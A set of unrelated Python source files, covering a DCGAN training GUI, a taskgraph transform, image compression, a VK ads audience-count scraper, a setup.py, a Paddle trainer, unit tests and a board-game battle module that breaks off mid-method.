from utils import pp, visualize, to_json, show_all_variables
from time import gmtime, strftime
from datetime import datetime
from getdata import getdata
from model import DCGAN
from PIL import Image

import PySimpleGUI as sg
import pyautogui as gui
import tensorflow as tf
import numpy as np
import scipy.misc
import threading
import time
import sys
import os

sg.theme("Topanga")             #set theme

#Thread definitions
###########################################################################################
def epoch_update():
    while True:
        time.sleep(.1)
        lastval = gettimefromfile()
        if lastval != "":
            lastval = lastval.split("/")
            current_epoch = lastval[0]
            total_epoch = lastval[1]
        window['status'].Update("Current Time: "+strftime("%Y-%m-%d %H:%M:%S", gmtime())+" epoch: "+str(current_epoch)+"/"+str(total_epoch))

def start_epoch_thread():
    print("epoch:epoch thread started")
    epochthread.start()

completed =False
def update_thread():
    while completed == False:
        time.sleep(10)
        if trainthread.is_alive() == False:
            print("Completed!")
            completed == True
            break

    return()

def start_update_thread():
    print("Update:update thread started")
    updatethread.start()

def network_thread():               #netwok start function
    tf.app.run()

def start_train_thread():                                       #start network thread
    print("Network:Network thread started")
    trainthread.start()

def time_thread():                              #thread to keep track of time
    print("Time:Time thread started")
    # while True:
    #     window.FindElement('_time_').Update(getTime())
    #     time.sleep(1)

def start_time_thread():                                    #starts the time thread
    threading.Thread(target=time_thread,daemon=True).start()
epochthread = threading.Thread(target=epoch_update,daemon=True)
trainthread = threading.Thread(target=network_thread,daemon=True)
updatethread = threading.Thread(target=update_thread,daemon=True)
###########################################################################################

#utility function definitions(could move to utils but ehh)
###########################################################################################
def gettimefromfile():
    while True:
        with open("status.dat","r") as file:
            file = file.read()
            if file == "":
                file = '__keeplast__'

            if time.localtime().tm_sec % 2 == 1:
                break
    return(file)

def getTime():                                              #function to get the current time and format it
    return datetime.now().strftime('%H:%M:%S')

def verify_image(img_file):             #Checks wheather or not an image file is valid
     try:
        v_image = Image.open(img_file)
        v_image.verify()
        return False
        print("valid file: "+str(img_file))

     except OSError:
        return True                     #returns the state of the image file

def resize1():                          #resizes all the images in the complete directory
    print("Resizing")
    while True:
        for image in os.listdir("complete/"):
            basewidth = 1000
            if image.endswith(".jpg" or ".png"):                        #Check image type
                img = Image.open("complete/"+image+"/")
                wpercent = (basewidth/float(img.size[0]))
                hsize = int((float(img.size[1])*float(wpercent)))
                img = img.resize((basewidth,hsize), Image.ANTIALIAS)    #Resize based on the base width
                img.save("complete/"+image)

###########################################################################################

#Main network function
###########################################################################################
def main(_):                                                #main network initialization function
  print("LILLIAN:Initializing Network")
  pp.pprint(flags.FLAGS.__flags)

  if FLAGS.input_width is None:
    FLAGS.input_width = FLAGS.input_height
  if FLAGS.output_width is None:
    FLAGS.output_width = FLAGS.output_height

  if not os.path.exists(FLAGS.checkpoint_dir):
    os.makedirs(FLAGS.checkpoint_dir)
  if not os.path.exists(FLAGS.sample_dir):
    os.makedirs(FLAGS.sample_dir)

  gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=1)
  run_config = tf.ConfigProto()
  run_config.gpu_options.allow_growth=True

  with tf.Session(config=run_config) as sess:               #configure network
    if FLAGS.dataset == 'mnist':
      print("LILLIAN:Flag is set to MNST")
      dcgan = DCGAN(
          sess,
          input_width=xm,
          input_height=ym,
          output_width=xm,
          output_height=ym,
          batch_size=batchsz,
          sample_num=batchsz,
          y_dim=10,
          z_dim=1,
          dataset_name=key,
          input_fname_pattern="*.jpg",
          crop=True,
          checkpoint_dir="checkpoint",
          sample_dir="samples",
          data_dir="./data")
    else:
      dcgan = DCGAN(
          sess,
          input_width=xm,
          input_height=ym,
          output_width=xm,
          output_height=ym,
          batch_size=batchsz,
          sample_num=batchsz,
          z_dim=1,
          dataset_name=key,
          input_fname_pattern="*.jpg",
          crop=True,
          checkpoint_dir="checkpoint",
          sample_dir="samples",
          data_dir="./data")

    show_all_variables()                #show all variables

    if FLAGS.train:
      dcgan.train(FLAGS)
    else:
      if not dcgan.load(FLAGS.checkpoint_dir)[0]:
        raise Exception("LILLIAN:Error:Train a model first, then run test mode")

    OPTION = 1
    visualize(sess, dcgan, FLAGS, OPTION)       #Visualize network
###########################################################################################

#UI function
###########################################################################################
current_epoch = 0
total_epoch = 0

ui_back, ui_mid, ui_front, ui_text = '#373737', '#404040', '#505050', '#A4A4A4'
sg.theme_background_color(ui_mid)
sg.theme_button_color((ui_text, ui_back))
sg.theme_element_background_color(ui_mid)
sg.theme_input_background_color(ui_back)
sg.theme_text_element_background_color(ui_mid)      # Set up custom theme
sg.theme_element_text_color('white')
sg.theme_input_text_color('white')
sg.theme_text_color(ui_text)
sg.theme_element_text_color(ui_text)
sg.theme_input_text_color(ui_text)
# sg.theme('SystemDefaultForReal')

frame1 = [[sg.Text('Key:          '), sg.Combo(os.listdir('./data'), size=(10,1))],
          [sg.Text('Epochs:     '), sg.Spin([i for i in range(1, 501)], 5, size=(10,1))],
          [sg.Text('Batch Size:'), sg.Spin([i for i in range(1, 65)], 1, size=(10,1))],
          [sg.Radio('CPU', 1), sg.Radio('GPU', 1, True)]]

frame2 = [[sg.ProgressBar(100, size=(52,8), bar_color=(ui_front, ui_back), key='prog')],
          [sg.Output((80,7))]
          ]

layout = [[sg.Column([[sg.Frame('Setup', frame1)],
                      [sg.Button('Start', size=(8,1)),
                       sg.Button('Stop', size=(6,1), disabled=True),
                       sg.Button('Exit', size=(4,1))]]),
           sg.Frame('Status', frame2)],
          [sg.StatusBar('Start Time: 00:00:00'+('    '*4)+'Elapsed Time: 00:00:00'+('    '*4)+'Epoch: 0/0', size=(100,1), key='status')]]

window = sg.Window('LILLIAN', layout, icon='./icons/logo-flat.ico') #logo-flat2 for dark ico

def errorcheck():
    if value[0] == '':
        print('ERROR: Missing key')
        return ValueError
    if int(value[1]) <= 0:
        print('ERROR: Epochs must be >0')
        return ValueError
    if int(value[2]) <= 0:
        print('ERROR: Batch size must be >0')
        return ValueError

timeinitialized = False
epochinit = False
while True:
    event, value = window.read()            #initialize the window
    if epochinit == False:
        start_epoch_thread()
        epochinit = True

    if event == sg.WIN_CLOSED:              #exit program if the window is closed
        window.close()
        exit()

    if event == "Start":                    #check for the start button to be pressed

        if timeinitialized == False:        #check if the time thread has been started, if not start it
            start_time_thread()
            timeinitialized = True

        try:
            key = value[0]                  #set network configuration based on UI input
            epoch = int(value[1])
            batchsz = int(value[2])
        except TypeError:
            print('ERROR: Epoch and batch must be integers.')
            continue

        if value[4] == False:
            os.environ["CUDA_VISIBLE_DEVICES"] = "-1"        #disable the GPU device if unchecked in UI
            print("Manager:USING CPU")
        else: print("Manager:USING GPU")

        print("Manager:Epoch set to "+str(epoch))
        print("Manager:Key set to "+str(key))
        print("Manager:Verifying data structure integrity")

        for thing in os.listdir("data/"+key+"/"):                                               #verify images in data directory
            if thing.endswith(".jpg" or ".png" or ".jpeg") & verify_image(thing) == False:
                os.remove("data/"+key+"/"+thing)                                                #Removes bad images

        xm,ym = getdata(key)
        xm = xm
        ym = ym

        print("Manager:Current time is " +str(datetime.now()))      #get time and display in debug window
        window['Start'].Update(disabled=True)
        window['Stop'].Update(disabled=False)                                # Update Buttons

        flags = tf.app.flags                                                 #set network flags
        flags.DEFINE_integer("epoch", epoch," ")
        flags.DEFINE_float("learning_rate", 0.0002," ")
        flags.DEFINE_float("beta1", 0.5," ")
        flags.DEFINE_float("train_size", np.inf," ")
        flags.DEFINE_integer("batch_size", batchsz,"")
        flags.DEFINE_integer("input_height", ym," ")
        flags.DEFINE_integer("input_width", xm," ")
        flags.DEFINE_integer("output_height", ym," ")
        flags.DEFINE_integer("output_width", xm," ")
        flags.DEFINE_string("dataset", key," ")
        flags.DEFINE_string("input_fname_pattern","*.jpg"," ")
        flags.DEFINE_string("checkpoint_dir", "checkpoint"," ")
        flags.DEFINE_string("data_dir", "./data"," ")
        flags.DEFINE_string("sample_dir", "samples"," ")
        flags.DEFINE_boolean("train", True," ")
        flags.DEFINE_boolean("crop", True," ")
        flags.DEFINE_boolean("visualize", True," ")
        flags.DEFINE_integer("generate_test_images", 1," ")
        FLAGS = flags.FLAGS

        start_train_thread()                                        #start the training thread
        print("Manager:Training thread returned")
        start_update_thread()

    if event in (sg.WIN_CLOSED, 'Exit'):
        window.close()
        exit()


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.

import logging

from taskgraph.transforms.base import TransformSequence
from taskgraph.util.schema import resolve_keyed_by

logger = logging.getLogger(__name__)

transforms = TransformSequence()

@transforms.add
def make_task_worker(config, jobs):
    for job in jobs:
        resolve_keyed_by(
            job, "worker-type", item_name=job["name"], project=config.params["project"]
        )
        resolve_keyed_by(
            job, "scopes", item_name=job["name"], project=config.params["project"]
        )
        resolve_keyed_by(
            job,
            "bouncer-products",
            item_name=job["name"],
            project=config.params["project"],
        )

        job["worker"]["bouncer-products"] = job["bouncer-products"]

        del job["bouncer-products"]
        yield job


import os
from glob import glob

import dpcore
import jetraw
import tifffile

def list_files(pattern):
    return glob(pattern)

def prepare_and_compress(
    input_path: str, dat_path: str, cam_id: str, output_directory: str
):
    image = tifffile.imread(input_path)
    dpcore.load_parameters(dat_path)
    if len(image.shape) == 2:
        dpcore.prepare_image(image, cam_id)
    elif len(image.shape) == 3:
        for page in range(image.shape[0]):
            dpcore.prepare_image(image[page], cam_id)
    else:
        raise NotImplementedError("More than 3 dimensions not supported")
    jetraw.imwrite(os.path.join(output_directory, os.path.basename(input_path)), image)


import django

django.setup()

import asyncio
import datetime
import json
import multiprocessing

import aiohttp
from django.db.models import Q
from django.utils import timezone
from main.models import Result, InterestCategory, Coord
from main.models.in_house import ApiKey, Pairs, PairsWithSexAndAge
from django.db.models import Sum

queries = {
    "--": 'SELECT 1 as id,sum(count_of_person) as count_of_person ,coordinate_id '
          'from "result" where age_begin is not null and age_end is not null '
          'and is_male is not NULL and count_of_person != 0 and interest_id = %s group by coordinate_id;',
    "+-": 'SELECT 1 as id,sum(count_of_person) as count_of_person ,coordinate_id '
          'from "result" where age_begin = %s and age_end = %s '
          'and is_male is not NULL and count_of_person != 0 and interest_id = %s group by coordinate_id;',
    "-+": 'SELECT 1 as id,sum(count_of_person) as count_of_person ,coordinate_id '
          'from "result" where age_begin is not null and age_end is not null '
          'and is_male = %s and count_of_person != 0 and interest_id = %s group by coordinate_id;',
    '++': 'SELECT 1 as id,sum(count_of_person) as count_of_person ,coordinate_id '
          'from "result" where age_begin = %s and age_end = %s '
          'and is_male = %s and count_of_person != 0 and interest_id = %s group by coordinate_id;'
}

def pick_points(interest_name: str, sex: str, age: str):
    interest = InterestCategory.objects.using("cache").get(interes_name=interest_name)
    key = ''
    append = []
    if age != "-":
        key += "+"
        from_, to_ = list(map(int, age.split("-")))
        append.append(from_)
        append.append(to_)
    else:
        key += "-"

    if sex != "-":
        key += "+"
        if sex == "м":
            sex = "TRUE"
        else:
            sex = "FALSE"
        append.append(sex)
    else:
        key += "-"

    append.append(interest.id)

    append = tuple(append)
    print(append)
    print(key)
    query = queries[key] % append

    print(query)

    return Result.objects.using('cache').raw(query)

    # query = Q(interest__interes_name=interest_name)
    #
    # if sex:
    #     query &= Q(is_male=sex)
    # else:
    #     query &= Q(is_male__isnull=False)
    #
    # if age:
    #     from_, to_ = list(map(int, age.split("-")))
    #     query &= Q(age_begin=from_, age_end=to_)
    # else:
    #     query &= Q(age_begin__isnull=False, age_end__isnull=True)
    #
    # print(Result.objects.using("cache").filter(query).values('coordinate').annotate(
    #     count_of_person=Sum('count_of_person')).query)
    #
    # points = Result.objects.using("cache").filter(query).values('coordinate') \
    #     .annotate(count_of_person=Sum('count_of_person'))
    #
    # print(points)
    #
    # return points

def get_points_by_interest_name_service(interest_name: str):
    date_10_days_ago = timezone.now() - datetime.timedelta(days=10)
    # left = int(batch) * 1000
    # right = left + 1000
    return Result.objects.filter(interest__interes_name=interest_name, count_of_person__gt=0,
                                 end_date__gte=date_10_days_ago).select_related(
        'coordinate')  # [left:right]

API_URL = "https://api.vk.com/method/ads.getTargetingStats"
LINK_URL = "https://vk.com/dev/ads.getTargetingStats"
LINK_DOMAIN = "vk.com"

async def parser(token, pairs):
    result = []
    for pair in pairs:
        point = pair.point
        interest = pair.interest
        token.is_taken = True
        token.save()
        results_qs = Result.objects.filter(coordinate=point, interest=interest).order_by("-end_date")
        if results_qs and (timezone.now() - results_qs[0].end_date).days < 10:
            return
        entity = Result(begin_date=timezone.now())
        criter = {
            "interest_categories": interest.interes_name,
            "geo_near": f"{point.y},{point.x},500"
        }
        # latitude - широта - y
        # longitude - долгота - x
        json_geo = json.dumps(criter)
        params_dict = {"account_id": token.acc_id, "access_token": token.key, "v": "5.131", "link_url": API_URL,
                       "link_domain": LINK_DOMAIN, "criteria": json_geo}
        # response = requests.post(API_URL, params=params_dict, headers={"User_Agent": generate_user_agent()})
        async with aiohttp.ClientSession() as session:
            async with session.post(API_URL, params=params_dict) as response:
                response_json = await response.json()
                try:
                    print(multiprocessing.current_process())
                except Exception:
                    pass
                print(token.key)
                print(response_json)
                await asyncio.sleep(5)
                if response_json.get('error'):
                    if response_json.get('error_code') == 601:
                        token.is_taken = False
                        token.expired = True
                        token.save()
                    else:
                        continue
                else:
                    response_data = response_json.get('response')
                    entity.interest = interest
                    entity.coordinate = point
                    entity.link = API_URL
                    entity.count_of_person = response_data.get('audience_count')
                    pair = Pairs.objects.get(point=point, interest=interest)
                    pair.last_executions = timezone.now()
                    token.is_taken = False
                    token.save()
                    pair.save()
                    entity.save()

async def parser_info(token, pairs_limit):
    i = pairs_limit[0] + 1000
    date_10_days_ago = timezone.now() - datetime.timedelta(days=10)
    while i <= pairs_limit[1]:
        pairs = PairsWithSexAndAge.objects.filter(
            Q(last_executions=None) | Q(last_executions__lte=date_10_days_ago))[i - 1000:i]
        for pair in pairs:
            point = pair.point
            interest = pair.interest
            token.is_taken = True
            token.save()
            results_qs = Result.objects.filter(coordinate=point, interest=interest, is_male=pair.is_male,
                                               age_begin=pair.age_begin, age_end=pair.age_end).order_by("-end_date")
            if results_qs and (timezone.now() - results_qs[0].end_date).days < 10:
                continue
            entity = Result(begin_date=timezone.now())
            sex = 1
            if pair.is_male:
                sex = 2
            print(str(interest.interes_name))
            criter = {
                "interest_categories": interest.interes_name,
                "geo_near": f"{point.y},{point.x},500",
                "sex": sex,
                "age_from": pair.age_begin,
                "age_to": pair.age_end
            }
            # latitude - широта - y
            # longitude - долгота - x
            json_geo = json.dumps(criter)
            params_dict = {"account_id": token.acc_id, "access_token": token.key, "v": "5.131", "link_url": API_URL,
                           "link_domain": LINK_DOMAIN, "criteria": json_geo}
            async with aiohttp.ClientSession() as session:
                async with session.post(API_URL, params=params_dict) as response:
                    response_json = await response.json()
                    try:
                        print(multiprocessing.current_process())
                    except Exception:
                        pass
                    print(token.key)
                    print(response_json)
                    await asyncio.sleep(5)
                    if response_json.get('error'):
                        if response_json.get('error_code') == 601:
                            token.is_taken = False
                            token.expired = True
                            token.save()
                        else:
                            continue
                    else:
                        try:
                            interest_from_chache = InterestCategory.objects.using('cache').get(
                                id=interest.id)
                            coordinate_from_cache = Coord.objects.using('cache').get(x=point.x, y=point.y)

                            response_data = response_json.get('response')
                            entity.interest = interest
                            entity.coordinate = point
                            entity.link = API_URL
                            entity.is_male = pair.is_male
                            entity.age_begin = pair.age_begin
                            entity.age_end = pair.age_end
                            entity.count_of_person = int(response_data.get('audience_count'))
                            pair.last_executions = timezone.now()

                            try:
                                update_cache = Result.objects.using('cache').get(interest=interest_from_chache,
                                                                                coordinate=coordinate_from_cache,
                                                                                is_male=pair.is_male,
                                                                                age_begin=pair.age_begin,
                                                                                age_end=pair.age_end)
                                update_cache.end_date = timezone.now()
                                update_cache.count_of_person = int(response_data.get('audience_count'))
                                update_cache.save(using='cache')
                                print('updated in cache')
                            except Exception as e:
                                if int(response_data.get('audience_count')) != 0:
                                    entity_to_cache = Result(begin_date=timezone.now())
                                    entity_to_cache.interest = interest_from_chache
                                    entity_to_cache.coordinate = coordinate_from_cache
                                    entity_to_cache.link = API_URL
                                    entity_to_cache.is_male = pair.is_male
                                    entity_to_cache.age_begin = pair.age_begin
                                    entity_to_cache.age_end = pair.age_end
                                    entity_to_cache.count_of_person = int(response_data.get('audience_count'))
                                    entity_to_cache.save(using='cache')
                                    print('cache created')
                            token.is_taken = False
                            token.save()
                            pair.save()
                            entity.save(using='default')
                            print('saved default')
                        except Exception as e:
                            print(e)
        del pairs
        i += 1000

def bridge_to_async(corteg):
    asyncio.get_event_loop().run_until_complete(parser(corteg[0], corteg[1]))

def bridge_to_async_info(corteg):
    print("async bridge")
    asyncio.get_event_loop().run_until_complete(parser_info(corteg[0], corteg[1]))

def butch_before_procs():
    num_tokens = ApiKey.objects.filter(expired=False).count()
    date_10_days_ago = timezone.now() - datetime.timedelta(days=10)
    num_points_to_check = Pairs.objects.filter(
        Q(last_executions=None) | Q(last_executions__lte=date_10_days_ago)).count()
    butch_size = int(num_points_to_check / num_tokens + 0.5)
    data = []
    i = 0
    pairs = Pairs.objects.filter(
        Q(last_executions=None) | Q(last_executions__lte=date_10_days_ago))
    for api_key in ApiKey.objects.filter(expired=False):
        data.append((api_key, pairs[i * butch_size: i * butch_size + butch_size]))
        i += 1
    return data

def butch_before_procs_info():
    num_tokens = ApiKey.objects.filter(expired=False).count()
    date_10_days_ago = timezone.now() - datetime.timedelta(days=10)
    num_points_to_check = PairsWithSexAndAge.objects.filter(
        Q(last_executions=None) | Q(last_executions__lte=date_10_days_ago)).count()
    butch_size = int(num_points_to_check / num_tokens + 0.5)
    data = []
    i = 0
    # pairs = PairsWithSexAndAge.objects.filter(
    #    Q(last_executions=None) | Q(last_executions__lte=date_10_days_ago))
    for api_key in ApiKey.objects.filter(expired=False):
        data.append((api_key, (i * butch_size, i * butch_size + butch_size)))
        i += 1
    return data


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from setuptools import find_packages, setup

templates_dir = os.path.join(
    os.path.dirname(os.path.realpath(__file__)), 'itemize', 'templates')

setup(
    name = 'itemize',
    version = '0.2.9',
    packages = find_packages(),
    include_package_data = True,
    package_data = {
        os.path.join('templates', os.path.relpath(root, templates_dir)): files
        for root, dirs, files in os.walk(templates_dir)
        if '__pycache__' not in root
    },
    description = 'Itemize generates receipts.',
    author = 'Jared Contrascere',
    author_email = 'jcontra@gmail.com',
    url = 'https://github.com/libretees/itemize',
    install_requires=['jinja2', 'pycups', 'z3c.rml'],
    entry_points={
        'console_scripts': [
            'itemize = itemize.main:main',
        ]
    },
    classifiers=[
          'Development Status :: 3 - Alpha',
          'Intended Audience :: Developers',
          'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
          'Operating System :: MacOS :: MacOS X',
          'Operating System :: Unix',
          'Operating System :: POSIX',
          'Programming Language :: Python',
          'Programming Language :: Python :: 3.4',
          'Topic :: Software Development',
          'Topic :: Software Development :: Libraries',
          'Topic :: Software Development :: Libraries :: Python Modules',
    ],
)


import os

import paddle

from lib.metric_stategy import MetricStrategy
from lib.optimizer_stategy import OptimizerStrategy

class Trainer:

    def __init__(self,
                 data_module,
                 model,
                 optimizer_strategy: OptimizerStrategy,
                 metric_strategy: MetricStrategy,
                 epochs=10):

        self.epochs = epochs
        self.global_step = 0

        # 模型
        self.data_module = data_module
        self.model = model
        self.metric_strategy = metric_strategy

        # 优化器策略
        self.lr_scheduler, self.optimizer = optimizer_strategy.get_scheduler_and_optimizer()

    def train(self):
        """训练"""

        for epoch in range(1, self.epochs + 1):
            for step, batch_data in enumerate(self.data_module.train_dataloader, start=1):

                self.global_step += 1
                progress = (epoch, self.global_step, step)

                # 训练
                model_ret = self.model.training_step(batch_data)

                # 评估指标
                self.metric_strategy.compute_train_metric(batch_data, model_ret, progress)

                # 反向传播
                self.backward(model_ret["loss"])

                # 验证集上进行评估
                if self.global_step % 100 == 0:
                    self.evaluate()

        self.save_model()

    @paddle.no_grad()
    def evaluate(self, dev=True):
        """验证/评估"""

        # 进入 eval 模式
        self.model.eval()
        self.metric_strategy.reset()

        if dev:
            dataloader = self.data_module.dev_dataloader
        else:
            dataloader = self.data_module.train_dataloader

        # 在验证集/测试上跑一遍
        batch_count = len(dataloader)
        for step, batch_data in enumerate(dataloader, start=1):
            model_ret = self.model.validation_step(batch_data)
            # 评估指标
            self.metric_strategy.compute_dev_metric(batch_data, model_ret, batch_count == step)

        # 进入 train 模式
        if dev:
            self.model.train()

        # 重置
        self.metric_strategy.reset()

    @paddle.no_grad()
    def test(self):
        """测试"""
        self.evaluate(dev=False)

    def save_model(self, dir_name="ckpt"):

        # 训练结束后，存储模型参数
        save_dir = os.path.join(dir_name, "model_%d" % self.global_step)
        os.makedirs(save_dir)

        # 保存当前模型参数
        paddle.save(self.model.state_dict(), os.path.join(save_dir, 'model_state.pdparams'))
        # 保存tokenizer的词表等
        self.data_module.tokenizer.save_pretrained(save_dir)

    def backward(self, loss):
        loss.backward()
        self.optimizer.step()
        self.lr_scheduler.step()
        self.optimizer.clear_grad()


import datetime
import unittest

import vcr

from eodclient.errors import (
    InvalidExchangeCodeError
)
from eodclient.exchange import Exchange
from eodclient.symbol import Symbol

class ExchangeTests(unittest.TestCase):
    '''Tests for the exchange'''

    SYMBOL_KEYS = ['Code', 'Name', 'Country', 'Exchange', 'Currency', 'Type']

    @vcr.use_cassette(
        'eodclient/tests/vcr_cassettes/get-symbols.yml',
        filter_query_parameters=['api_token']
    )
    def test_get_symbols(self):
        '''Ensure symbols are returned in correct format from the exchange'''
        exchange_instance = Exchange('JSE')
        response = exchange_instance.get_symbols()

        self.assertIsInstance(response, list)
        self.assertIsInstance(response[0], dict)
        self.assertEqual(
            list(response[0].keys()),
            self.SYMBOL_KEYS
        )

    def test_init_without_exchange_code(self):
        '''Ensure a no code exception is raised when initialising without
        a share code'''
        with self.assertRaises(TypeError):
            exchange_instance = Exchange()

    def test_init_bad_code(self):
        '''Ensure initialisng an exchange with a positional argument fails'''
        with self.assertRaises(InvalidExchangeCodeError):
            exchange_instance = Exchange('XXYP')

    def test_bad_code(self):
        with self.assertRaises(InvalidExchangeCodeError):
            Exchange_instance = Exchange(exchange_code='XXYP')

class SymbolTests(unittest.TestCase):
    '''Tests for the symbol'''

    def test_formatted_date(self):
        '''Ensure formatted date works'''
        str_date = '2018-08-20'
        date_object = Symbol.get_date(str_date)
        self.assertEqual(
            date_object,
            datetime.datetime(2018, 8, 20)
        )

    def test_unformatted_date(self):
        '''Ensure unformatted date fails'''
        str_date = '20-08-2018'
        with self.assertRaises(Exception):
            date_object = Symbol.get_date(str_date)

    def test_int_date(self):
        '''Ensure int date fails'''
        str_date = 2018
        with self.assertRaises(Exception):
            date_object = Symbol.get_date(str_date)

    @vcr.use_cassette(
        'eodclient/tests/vcr_cassettes/ticker-not-found.yml',
        filter_query_parameters=['api_token']
    )
    def test_ticker_not_found(self):
        '''Ensure ticker not found is handled'''
        exchange_instance = Exchange('NZ')
        response = exchange_instance.get_symbols()

        self.assertIsInstance(response, dict)
        self.assertEqual(
            response,
            {'message': 'Ticker Not Found'}
        )


"""
A conflict occurs when unallied units appear in the same territory, or a unit enters unallied territory
The possible outcomes are:
All defenders are killed, 1+ attackers live
    "Attacker Victory"
    All noncombatant defenders are killed
    if land and 1+ land attacker:
        "Occupation" - override victory
        Capture territory
        Capture neutral units
    if sea:
        "attackerWinWithCapture"
        Capture neutral units
All attackers are killed:
    if land:
        "Defended"
        All attacker non combatants are killed
        Capture neutrals
    if sea and 1+ defender:
        "Defended"
        All attacker non combatants are killed
        Capture neutrals
Sea, All attackers and all defenders are dead:
    "Draw"
    Do nothing
"""
import uuid
from GameBoard import Util

import Unit
import UniqueId

class Conflict(object):
    def __init__(self, board, territory, initialAttackers, initialDefenders,
                 attacker=None, defender=None, overrideId=None):
        """
        :param territory: Territory
        """
        self.territory = territory
        self.board = board
        self.id = UniqueId.getUniqueIdWithOverride(overrideId)

        if defender:
            self.defendingCountry = defender
        else:
            if territory.isLand():
                self.defendingCountry = territory.country
            else:
                # if it's a sea territory, there MUST be at least one defender
                self.defendingCountry = initialDefenders[0].country

        if attacker:
            self.attackingCountry = attacker
        else:
            self.attackingCountry = self.board.currentCountry

        self.attackers = [u for u in initialAttackers if not self.isNonCombatant(u) and not self.isNeutral(u)]
        self.defenders = [u for u in initialDefenders if not self.isNonCombatant(u) and not self.isNeutral(u)]
        self.nonCombatants = {
            'attackers': [u for u in initialAttackers if self.isNonCombatant(u)],
            'defenders': [u for u in initialDefenders if self.isNonCombatant(u)],
            'neutral': [u for u in initialAttackers + initialDefenders if self.isNeutral(u)]
        }
        self.reports = []
        self.outcome = ConflictOutcomes.inProgress

    def hasLandAttackers(self):
        hasLand = False
        for u in self.attackers:
            if u.isLand():
                hasLand = True
                break
        return hasLand

    # Performs a single step in a territory conflict
    # Takes in a list of attackers and defenders. Removes casualties from list
    def battle(self):
        keys = ["attack", "defence"]
        combatants = {
            "attack": self.attackers,
            "defence": self.defenders
        }
        # counts number of each side that must die
        scoredHits = {}
        for key in keys:
            scoredHits[key] = Util.calculateHits(combatants[key], key)

        casualties = {}
        for key in keys:
            if key == "attack":
                otherKey = "defence"
            else:
                otherKey = "attack"
            casualties[key] = Util.calculateCasualties(combatants[key], scoredHits[otherKey], key)

        self.outcome = self.getOutcome()
        self.handleOutcome()

        report = BattleReport(combatants, casualties)
        self.reports.append(report)
        # may want to revisit this
        for u in report.deadDefenders:
            self.board.removeUnit(u)
        for u in report.deadAttackers:
            self.board.removeUnit(u)
        return report

    def handleOutcome(self):
        # handle case where both sides have no combat value (unable to kill each other)
        if self.outcome == ConflictOutcomes.attackerWin:
            self._removeNonComs("defenders")

        elif self.outcome == ConflictOutcomes.attackerWinWithCapture:
            self._removeNonComs("defenders")
            self._convertNeutralUnits(self.board.currentCountry)

        elif self.outcome == ConflictOutcomes.occupationVictory:
            self._removeNonComs("defenders")
            self._convertNeutralUnits(self.board.currentCountry)
            # transfer ownership
            self.territory.country = self.board.currentCountry

        elif self.outcome == ConflictOutcomes.defenderWin:
            self._removeNonComs("attackers")
            self._convertNeutralUnits(self.defendingCountry)

        elif self.outcome == ConflictOutcomes.draw or self.outcome == ConflictOutcomes.inProgress:
            pass  # do nothing
        else:
            raise Exception("Unknown conflict outcome", self.outcome)

    def getOutcome(self):
        someAttackNoDef = len(self.defenders) == 0 and len(self.attackers) > 0
        if someAttackNoDef and self.territory.isLand and self.hasLandAttackers():
            return ConflictOutcomes.occupationVictory
        elif someAttackNoDef and self.territory.isSea():
            return ConflictOutcomes.attackerWinWithCapture
        elif someAttackNoDef and len(self.nonCombatants["defenders"]) > 0:
            return ConflictOutcomes.attackerWin
        elif len(self.attackers) == 0 and (self.territory.isLand or len(self.defenders) > 0):
            return ConflictOutcomes.defenderWin
        elif self.isStalemate():
            return ConflictOutcomes.draw
        else:
            return ConflictOutcomes.inProgress

    def isStalemate(self):
        combatSum = 0
        for u in self.attackers:
            combatSum += u.unitInfo.attack
        for u in self.defenders:
            combatSum += u.unitInfo.defence

        # an air or sea unit is not able to capture a land territory on their own, leading to a stalemate
        cannotCapture = len(self.defenders) == 0 and self.territory.isLand and not self.hasLandAttackers() and \
                        len(self.nonCombatants["defenders"]) == 0

        return combatSum == 0 or cannotCapture

    def isNonCombatant(self, unit):
        return ((self.territory.isLand() and unit.isSea()) or
                (self.territory.isSea() and unit.isLand()))

    def _removeNonComs(self, key):
        for u in self.nonCombatants[key]:
            self.board.removeUnit(u)

    def isNeutral(self, unit):
        return unit.type == "factory"

    def _convertNeutralUnits(self, country):
        for unit in self.nonCombatants["neutral"]:
            unit.country = country

    def toDict(self):
        return {
            "id": self.id.hex,
            "territoryName": self.territory.name,
            "attackers": [u.toDict() for u in self.attackers],
            "defenders": [u.toDict() for u in self.defenders],
            "defendingCountry": self.defendingCountry.name,
            "attackingCountry": self.attackingCountry.name,
            "reports": [r.toDict() for r in self.reports],
            "outcome": self.outcome
        }

# create a Conflict instance from a dictionary of info
def fromDict(conflictInfo, board):
    def countryByName(name):
        return Util.getByName(board.countries, name)

    def getUnit(unitId):
        return board.unitById(unitId)

    def getAllUnits(unitCollection):
        units = []
        for unit in unitCollection:
            unitId = uuid.UUID(unit["id"])
            unit = getUnit(unitId)
            if unit:
                units.append(unit)
            else:
                print("Could not load unit " + unitId.hex)

        return units

    def createUnits(unitInfoCollection):
        # Small issue - will create new instance of units that already exist
        return [Unit.createUnitFromDict(unitInfo, board.unitInfoDict, board.countries, board.territories) for unitInfo in unitInfoCollection]

    conflict = Conflict(board,
                        Util.getByName(board.territories, conflictInfo["territoryName"]),
                        getAllUnits(conflictInfo["attackers"]),
                        getAllUnits(conflictInfo["defenders"]),
                        countryByName(conflictInfo["attackingCountry"]),
                        countryByName(conflictInfo["defendingCountry"]),
                        uuid.UUID(conflictInfo["id"]))
    conflict.reports = [
        BattleReport(survivors={
            "attack": createUnits(report["survivingAttackers"]),
            "defence": createUnits(report["survivingDefenders"])
        }, casualties={
            "attack": createUnits(report["deadAttackers"]),
            "defence": createUnits(report["deadDefenders"])
        })
        for report in conflictInfo["reports"]
    ]
    conflict.outcome = conflictInfo["outcome"]
    return conflict

class ConflictOutcomes:
    inProgress = "inProgress"
    occupationVictory = "occupation"
    attackerWin = "attackerWin"
    attackerWinWithCapture = "attackerWinWithCapture"
    defenderWin = "defenderWin"
    draw = "draw"

class BattleReport:
    def __init__(self, survivors, casualties):
        self.survivingAttackers = survivors["attack"][:]
        self.survivingDefenders = survivors["defence"][:]
        self.deadAttackers = casualties["attack"][:]
        self.deadDefenders = casualties["defence"][:]

    def toDict(self):
        return {
            "survivingAttackers": [u.toDict() for u in self.survivingAttackers],
            "survivingDefenders": [u.toDict() for u in self.survivingDefenders],
